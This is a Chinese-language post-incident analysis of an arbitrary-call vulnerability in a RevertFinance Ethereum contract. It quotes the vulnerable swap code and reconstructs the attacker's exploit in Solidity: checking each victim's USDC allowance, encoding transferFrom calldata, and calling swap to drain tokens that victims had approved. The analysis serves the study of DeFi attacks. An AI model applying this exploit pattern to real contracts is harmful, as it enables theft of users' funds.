RevertFinance任意代码执行漏洞

说明

一个很直接的任意代码执行漏洞

基本信息

Attacker: 0x38f887a0fe01b9e4960d5c727519408fa7f32f70
Attack Contract: 0xd346f652a56d149d585b5447851928f42f61fb27
Vulnerable Contract Name: RevertFinance
Vulnerable Contract:
- 0x531110418d8591C92e9cBBFC722Db8FFb604FAFD
Attack Tx：
- https://etherscan.io/tx/0xdaccbc437cb07427394704fbcc8366589ffccf974ec6524f3483844b043f31d5
LOSS: 23K

漏洞函数

swap

以下此合约的任意代吗执行漏洞中的关键函数swap和_swap。

function swap(SwapParams calldata params) external payable returns (uint256 amountOut) {

    _prepareAdd(params.tokenIn, IERC20(address(0)), IERC20(address(0)), params.amountIn, 0, 0);

    uint amountInDelta;
    (amountInDelta, amountOut) = _swap(params.tokenIn, params.tokenOut, params.amountIn, params.minAmountOut, params.swapData);

    // send swapped amount of tokenOut
    if (amountOut > 0) {
        _transferToken(params.recipient, params.tokenOut, amountOut, params.unwrap);
    }

    // if not all was swapped - return leftovers of tokenIn
    uint leftOver = params.amountIn - amountInDelta;
    if (leftOver > 0) {
        _transferToken(params.recipient, params.tokenIn, leftOver, params.unwrap);
    }
}


function _swap(IERC20 tokenIn, IERC20 tokenOut, uint amountIn, uint amountOutMin, bytes memory swapData) internal returns (uint amountInDelta, uint256 amountOutDelta) {
    if (amountIn > 0 && swapData.length > 0 && address(tokenOut) != address(0)) {
        uint balanceInBefore = tokenIn.balanceOf(address(this));
        uint balanceOutBefore = tokenOut.balanceOf(address(this));

        // get router specific swap data
        (address swapRouter, address allowanceTarget, bytes memory data) = abi.decode(swapData, (address, address, bytes));

        // approve needed amount
        tokenIn.approve(allowanceTarget, amountIn);

        // execute swap
        (bool success,) = swapRouter.call(data);
        if (!success) {
            revert SwapFailed();
        }

        // remove any remaining allowance
        tokenIn.approve(allowanceTarget, 0);

        uint balanceInAfter = tokenIn.balanceOf(address(this));
        uint balanceOutAfter = tokenOut.balanceOf(address(this));

        amountInDelta = balanceInBefore - balanceInAfter;
        amountOutDelta = balanceOutAfter - balanceOutBefore;

        // amountMin slippage check
        if (amountOutDelta < amountOutMin) {
            revert SlippageError();
        }

        // event for any swap with exact swapped value
        emit Swap(address(tokenIn), address(tokenOut), amountInDelta, amountOutDelta);
    }
}

通过代码之间的调用关系，梳理出如下的调用关系图：

通过swap()函数的SwapParams calldata params参数，最终可以执行swapRouter.call(data)。其中的swapRouter.call和data都是有输入控制的，所以理论上就是可以达到任意代码执行的效果。

攻击获利的方式基本上和其他的任意代码执行的套路一样，通过调用Token的transfer方法。将受害者授权到当前漏洞合约中的代币全部转走。

攻击分析

Victim

前面说了，这种漏洞最常见的做法就是找到一个已经授权给漏洞合约的用户以及对应的代币，最终通过任意代码执行的方式全部转移走。在 0xdaccbc437cb07427394704fbcc8366589ffccf974ec6524f3483844b043f31d5 案例中，攻击者找到了两个受害者。

下面就以其中一个具体的受害者 0x067d0f9089743271058d4bf2a1a29f4e9c6fdd1b 来进行分析。

分析受害者可以转账USDC的最大金额。

uint256 transferAmount = USDC.balanceOf(victims[i]);
if (USDC.allowance(victims[i], address(utils)) < transferAmount) {
    transferAmount = USDC.allowance(victims[i], address(utils));
}

最终计算，受害者可以转账USDC的最大金额是19305581627

swapdata

确定了攻击目标之后，接下来就是构造payload。第一步就是构造swapdata。构造方法对应于swap的解构方法。如下所示：

bytes memory data = abi.encodeWithSignature(
    "transferFrom(address,address,uint256)", victim, address(this), transferAmount
);
bytes memory swapdata = abi.encode(address(USDC), address(this), data);

SwapParams

最终调用swap()方法需要传递的是SwapParams类型的参数，所以需要构造出一个这样的参数。

V3Utils.SwapParams memory params = V3Utils.SwapParams({
    tokenIn: address(this),
    tokenOut: address(this),
    amountIn: 1,
    minAmountOut: 0,
    recipient: address(this),
    swapData: swapdata,
    unwrap: false
});
utils.swap(params);